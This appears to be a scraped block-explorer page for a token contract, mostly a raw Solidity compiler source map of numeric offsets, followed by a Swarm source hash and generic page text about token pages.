5193:79:0;;4609:2:1;5193:79:0;;;4591:21:1;4648:2;4628:18;;;4621:30;4687:34;4667:18;;;4660:62;-1:-1:-1;;;4738:18:1;;;4731:38;4786:19;;5193:79:0;;;;;;;;;5283:57;5292:6;990:10;5314:25;5333:6;5314:16;:25;:::i;:::-;5283:8;:57::i;:::-;-1:-1:-1;5360:4:0;;4950:422;-1:-1:-1;;;;4950:422:0:o;5902:92::-;3063:6;;5975:9;;-1:-1:-1;;;;;3063:6:0;990:10;3063:22;3055:67;;;;-1:-1:-1;;;3055:67:0;;;;;;;:::i;:::-;5902:92;;;:::o;3150:148::-;3063:6;;-1:-1:-1;;;;;3063:6:0;990:10;3063:22;3055:67;;;;-1:-1:-1;;;3055:67:0;;;;;;;:::i;:::-;3241:6:::1;::::0;3220:40:::1;::::0;3257:1:::1;::::0;-1:-1:-1;;;;;3241:6:0::1;::::0;3220:40:::1;::::0;3257:1;;3220:40:::1;3271:6;:19:::0;;-1:-1:-1;;;;;;3271:19:0::1;::::0;;3150:148::o;4287:104::-;4343:13;4376:7;4369:14;;;;;:::i;6002:66::-;3063:6;;6047:11;;-1:-1:-1;;;;;3063:6:0;990:10;3063:22;3055:67;;;;-1:-1:-1;;;3055:67:0;;;;;;;:::i;:::-;6002:66;:::o;4767:175::-;4853:4;4870:42;990:10;4894:9;4905:6;4870:9;:42::i;6076:693::-;3001:6;;-1:-1:-1;;;;;3001:6:0;6132:10;:21;:41;;;;-1:-1:-1;6158:5:0;;;;:14;6132:41;6123:88;;;;-1:-1:-1;;;6123:88:0;;;;;;;:::i;:::-;6248:7;;6224:45;;6241:4;;-1:-1:-1;;;;;6248:7:0;-1:-1:-1;;6224:8:0;:45::i;:::-;6282:21;6321:5;6306:12;;:20;;;;:::i;:::-;:36;;6330:11;6306:36;:::i;:::-;6371:4;6353:24;;;;:9;:24;;;;;:41;;6282:60;;-1:-1:-1;6282:60:0;;6353:24;;;:41;;6282:60;;6353:41;:::i;:::-;;;;-1:-1:-1;;6415:10:0;6405:21;;;;:9;:21;;;;;:38;;6430:13;;6405:21;:38;;6430:13;;6405:38;:::i;:::-;;;;-1:-1:-1;;6459:50:0;;1439:25:1;;;6488:4:0;;6468:10;;6459:50;;1427:2:1;1412:18;6459:50:0;;;;;;;6541:6;;;;;;;;;-1:-1:-1;;;;;6541:6:0;-1:-1:-1;;;;;6541:14:0;;:16;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6570:4;;;6529:61;;-1:-1:-1;;;6529:61:0;;-1:-1:-1;;;;;6570:4:0;;;6529:61;;;6435:34:1;;;;6584:4:0;6485:18:1;;;6478:43;6529:40:0;;;;;;;6370:18:1;;6529:61:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6522:4;:68;;-1:-1:-1;;;;;6522:68:0;;;-1:-1:-1;;;;;;6522:68:0;;;;;;6601:6;;;:13;6622:9;6641:4;6648:13;;6622:9;6522:4;;:68;;6701:7;3001:6;;-1:-1:-1;;;;;3001:6:0;;2936:79;6701:7;6601:108;;;;;;-1:-1:-1;;;;;;6601:108:0;;;-1:-1:-1;;;;;6983:15:1;;;6601:108:0;;;6965:34:1;7015:18;;;7008:34;;;;7058:18;;;7051:34;;;;7101:18;;;7094:34;;;;7177:4;7165:17;;;7144:19;;;7137:46;7220:17;;;7199:19;;;7192:46;7275:17;;7254:19;;;7247:46;7330:17;7309:19;;;7302:46;7385:15;;;7364:19;;;7357:44;6899:19;;6601:108:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;;6722:5:0;:12;;-1:-1:-1;;6722:12:0;6730:4;6722:12;;;-1:-1:-1;;6749:12:0;6736:10;:25;6076:693::o;5548:346::-;-1:-1:-1;;;;;5650:19:0;;5642:68;;;;-1:-1:-1;;;5642:68:0;;7925:2:1;5642:68:0;;;7907:21:1;7964:2;7944:18;;;7937:30;8003:34;7983:18;;;7976:62;-1:-1:-1;;;8054:18:1;;;8047:34;8098:19;;5642:68:0;7723:400:1;5642:68:0;-1:-1:-1;;;;;5729:21:0;;5721:68;;;;-1:-1:-1;;;5721:68:0;;8330:2:1;5721:68:0;;;8312:21:1;8369:2;8349:18;;;8342:30;8408:34;8388:18;;;8381:62;-1:-1:-1;;;8459:18:1;;;8452:32;8501:19;;5721:68:0;8128:398:1;5721:68:0;-1:-1:-1;;;;;5802:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;5854:32;;1439:25:1;;;5854:32:0;;1412:18:1;5854:32:0;;;;;;;;5548:346;;;:::o;7601:582::-;7699:7;:16;;-1:-1:-1;;;;;7699:16:0;;;-1:-1:-1;;;;;;7699:16:0;;;;;;;7717:10;:22;;;;;;;;;;;;;;;7762:5;;;;:13;;7699:16;7762:13;;7761:45;;-1:-1:-1;7781:7:0;;-1:-1:-1;;;;;7781:7:0;7800:4;7781:24;7761:45;:69;;;-1:-1:-1;3001:6:0;;7811:7;;-1:-1:-1;;;;;7811:7:0;;;3001:6;;7811:18;7761:69;7752:117;;;;-1:-1:-1;;;7752:117:0;;8733:2:1;7752:117:0;;;8715:21:1;8772:2;8752:18;;;8745:30;8811:34;8791:18;;;8784:62;-1:-1:-1;;;8862:18:1;;;8855:31;8903:19;;7752:117:0;8531:397:1;7752:117:0;7888:7;;-1:-1:-1;;;;;7888:7:0;7880:71;;;;-1:-1:-1;;;7880:71:0;;9135:2:1;7880:71:0;;;9117:21:1;9174:2;9154:18;;;9147:30;9213:34;9193:18;;;9186:62;-1:-1:-1;;;9264:18:1;;;9257:35;9309:19;;7880:71:0;8933:401:1;7880:71:0;-1:-1:-1;;;;;7970:23:0;;7962:71;;;;-1:-1:-1;;;7962:71:0;;9541:2:1;7962:71:0;;;9523:21:1;9580:2;9560:18;;;9553:30;9619:34;9599:18;;;9592:62;-1:-1:-1;;;9670:18:1;;;9663:33;9713:19;;7962:71:0;9339:399:1;7962:71:0;8046:29;8060:6;8068;8046:13;:29::i;:::-;-1:-1:-1;;;;;;8088:20:0;;;;;;:9;:20;;;;;:30;;8112:6;;8088:20;:30;;8112:6;;8088:30;:::i;:::-;;;;;;;;8155:9;-1:-1:-1;;;;;8138:35:0;8147:6;-1:-1:-1;;;;;8138:35:0;;8166:6;8138:35;;;;1439:25:1;;1427:2;1412:18;;1293:177;7036:557:0;7109:14;7186:4;7180:11;-1:-1:-1;;;7216:4:0;7209:80;7331:6;7324:4;7318;7314:15;7307:31;7379:4;7373;7369:15;7363:4;7356:29;7464:4;7458;7452;7446;7443:1;7436:4;7430:11;7423:5;7418:51;7490:7;7487:36;;;7516:4;7510:11;7500:21;;7487:36;-1:-1:-1;7570:15:0;;-1:-1:-1;7579:6:0;7570;:15;:::i;:::-;-1:-1:-1;;;;;7550:17:0;;;;;;;:9;:17;;;;;:35;;;;-1:-1:-1;7036:557:0;:::o;222:418:1:-;371:2;360:9;353:21;334:4;403:6;397:13;446:6;441:2;430:9;426:18;419:34;505:6;500:2;492:6;488:15;483:2;472:9;468:18;462:50;561:1;556:2;547:6;536:9;532:22;528:31;521:42;631:2;624;620:7;615:2;607:6;603:15;599:29;588:9;584:45;580:54;572:62;;;222:418;;;;:::o;645:131::-;-1:-1:-1;;;;;720:31:1;;710:42;;700:70;;766:1;763;756:12;700:70;645:131;:::o;781:315::-;849:6;857;910:2;898:9;889:7;885:23;881:32;878:52;;;926:1;923;916:12;878:52;965:9;952:23;984:31;1009:5;984:31;:::i;:::-;1034:5;1086:2;1071:18;;;;1058:32;;-1:-1:-1;;;781:315:1:o;1475:456::-;1552:6;1560;1568;1621:2;1609:9;1600:7;1596:23;1592:32;1589:52;;;1637:1;1634;1627:12;1589:52;1676:9;1663:23;1695:31;1720:5;1695:31;:::i;:::-;1745:5;-1:-1:-1;1802:2:1;1787:18;;1774:32;1815:33;1774:32;1815:33;:::i;:::-;1475:456;;1867:7;;-1:-1:-1;;;1921:2:1;1906:18;;;;1893:32;;1475:456::o;2125:127::-;2186:10;2181:3;2177:20;2174:1;2167:31;2217:4;2214:1;2207:15;2241:4;2238:1;2231:15;2257:1115;2341:6;2372:2;2415;2403:9;2394:7;2390:23;2386:32;2383:52;;;2431:1;2428;2421:12;2383:52;2471:9;2458:23;2500:18;2541:2;2533:6;2530:14;2527:34;;;2557:1;2554;2547:12;2527:34;2595:6;2584:9;2580:22;2570:32;;2640:7;2633:4;2629:2;2625:13;2621:27;2611:55;;2662:1;2659;2652:12;2611:55;2698:2;2685:16;2720:2;2716;2713:10;2710:36;;;2726:18;;:::i;:::-;2772:2;2769:1;2765:10;2804:2;2798:9;2867:2;2863:7;2858:2;2854;2850:11;2846:25;2838:6;2834:38;2922:6;2910:10;2907:22;2902:2;2890:10;2887:18;2884:46;2881:72;;;2933:18;;:::i;:::-;2969:2;2962:22;3019:18;;;3053:15;;;;-1:-1:-1;3095:11:1;;;3091:20;;;3123:19;;;3120:39;;;3155:1;3152;3145:12;3120:39;3179:11;;;;3199:142;3215:6;3210:3;3207:15;3199:142;;;3281:17;;3269:30;;3232:12;;;;3319;;;;3199:142;;;3360:6;2257:1115;-1:-1:-1;;;;;;;;2257:1115:1:o;3377:247::-;3436:6;3489:2;3477:9;3468:7;3464:23;3460:32;3457:52;;;3505:1;3502;3495:12;3457:52;3544:9;3531:23;3563:31;3588:5;3563:31;:::i;:::-;3613:5;3377:247;-1:-1:-1;;;3377:247:1:o;3629:388::-;3697:6;3705;3758:2;3746:9;3737:7;3733:23;3729:32;3726:52;;;3774:1;3771;3764:12;3726:52;3813:9;3800:23;3832:31;3857:5;3832:31;:::i;:::-;3882:5;-1:-1:-1;3939:2:1;3924:18;;3911:32;3952:33;3911:32;3952:33;:::i;:::-;4004:7;3994:17;;;3629:388;;;;;:::o;4022:380::-;4101:1;4097:12;;;;4144;;;4165:61;;4219:4;4211:6;4207:17;4197:27;;4165:61;4272:2;4264:6;4261:14;4241:18;4238:38;4235:161;;4318:10;4313:3;4309:20;4306:1;4299:31;4353:4;4350:1;4343:15;4381:4;4378:1;4371:15;4235:161;;4022:380;;;:::o;4816:127::-;4877:10;4872:3;4868:20;4865:1;4858:31;4908:4;4905:1;4898:15;4932:4;4929:1;4922:15;4948:128;5015:9;;;5036:11;;;5033:37;;;5050:18;;:::i;5081:356::-;5283:2;5265:21;;;5302:18;;;5295:30;5361:34;5356:2;5341:18;;5334:62;5428:2;5413:18;;5081:356::o;5442:217::-;5482:1;5508;5498:132;;5552:10;5547:3;5543:20;5540:1;5533:31;5587:4;5584:1;5577:15;5615:4;5612:1;5605:15;5498:132;-1:-1:-1;5644:9:1;;5442:217::o;5664:168::-;5737:9;;;5768;;5785:15;;;5779:22;;5765:37;5755:71;;5806:18;;:::i;5837:125::-;5902:9;;;5923:10;;;5920:36;;;5936:18;;:::i;5967:251::-;6037:6;6090:2;6078:9;6069:7;6065:23;6061:32;6058:52;;;6106:1;6103;6096:12;6058:52;6138:9;6132:16;6157:31;6182:5;6157:31;:::i;7412:306::-;7500:6;7508;7516;7569:2;7557:9;7548:7;7544:23;7540:32;7537:52;;;7585:1;7582;7575:12;7537:52;7614:9;7608:16;7598:26;;7664:2;7653:9;7649:18;7643:25;7633:35;;7708:2;7697:9;7693:18;7687:25;7677:35;;7412:306;;;;;:::o

Swarm Source

ipfs://012cb065bea811ad546cf8c395b7926841d2b13baddd2c14b5b86d1cd7a4ac81
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.